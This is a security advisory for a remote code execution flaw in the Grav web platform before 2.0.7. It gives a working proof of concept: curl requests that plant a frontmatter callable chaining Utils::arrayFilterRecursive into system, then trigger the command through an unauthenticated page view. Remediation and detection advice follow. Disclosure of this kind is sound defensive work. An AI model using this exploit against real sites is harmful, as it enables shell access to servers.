CVE-2026-64850: Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()
Summary An account with the admin.pages permission (or api.pages.write) can run shell commands on the server. The command executes whenever anyone — including an unauthenticated visitor — opens the page.
Details Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426) passes a Class::method string and its arguments straight to calluserfuncarray() with no allowlist. The form plugin runs page frontmatter through this path (form/classes/Form.php:432), so a page author controls the input. Grav\Common\Utils::arrayFilterRecursive($source,$fn) (system/src/Grav/Common/Utils.php:1169) is a public static that calls $fn($key,$value), so passing system as $fn and a command as the array key runs the command.
PoC Placeholders: <BASEURL> the site; <SESSIONCOOKIE> an admin session cookie for an account with admin.pages; <ADMINNONCE> the admin-nonce on any admin page (window.GravAdmin.config.adminnonce).
Save a "form" page whose field carries the callable directive:
curl '<BASEURL>/admin/pages/rcepoc' \ -H 'Cookie: <SESSIONCOOKIE>' \ --data-urlencode 'task=save' \ --data-urlencode 'admin-nonce=<ADMINNONCE>' \ --data-urlencode 'data[folder]=rcepoc' \ --data-urlencode 'data[name]=form' \ --data-urlencode 'data[title]=x' \ --data-urlencode 'data[content]=hi' \ --data-urlencode "data[frontmatter]=forms: x: fields: y: type: text data-opts@: - 'Grav\Common\Utils::arrayFilterRecursive' - { 'echo GRAV-RCE-OK; id': 'x' } - system"
Trigger it as an unauthenticated visitor:
curl '<BASEURL>/rcepoc'
Success check: the GET response body begins with GRAV-RCE-OK followed by the web-server user's id output (a line starting uid=...) — the command ran during the unauthenticated request and its output is reflected in the response.
Impact Shell command execution as the web-server user, triggered by any visit to the page, plantable by any holder of admin.pages or api.pages.write.
Trust boundary: crossed. admin.pages (or api.pages.write) grants page editing, not code execution; the holder plants the payload and the code runs at request time on any later view of the page.
Other sources
Grav is a file-based Web platform. Prior to 2.0.7, Grav Blueprint::dynamicData() in system/src/Grav/Common/Data/Blueprint.php sends an editor-controlled Class::method provider and arguments to calluserfuncarray() without rejecting dangerous callback parameters. An account with admin.pages or api.pages.write can use Grav\Common\Utils::arrayFilterRecursive() as a trampoline with system as the callback, place a command in page frontmatter, and execute that command as the web server user when the page is viewed. This issue is fixed in version 2.0.7.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/getgrav/gravto a version that resolves this vulnerability.Fixed in 2.0.7 - Upgrade
Upgrade
Gravto a version that resolves this vulnerability.Fixed in 2.0.7 - Compensating control
Restrict access to the page editing/API endpoints that require the `admin.pages` or `api.pages.write` permissions, since an account with either permission can craft frontmatter that uses `Grav\Common\Utils::arrayFilterRecursive()` to trampoline into `system`.
Event History
Frequently Asked Questions
Who can exploit this issue?
An authenticated account with either the admin.pages permission or the api.pages.write permission can exploit it. The attacker needs the ability to control page frontmatter and have the affected page viewed.
What access does successful exploitation provide?
The injected command executes as the web server user. The impact therefore depends on the permissions available to that user on the host.
Which versions are affected and what is the fix?
Grav versions prior to 2.0.7 are affected. Upgrade to version 2.0.7, which fixes the unsafe callback handling in Blueprint::dynamicData().
How can I assess whether exploitation may already have occurred?
Review page frontmatter for unexpected command content and investigate pages modified by accounts with admin.pages or api.pages.write. Also review web server activity for commands executed when affected pages were viewed.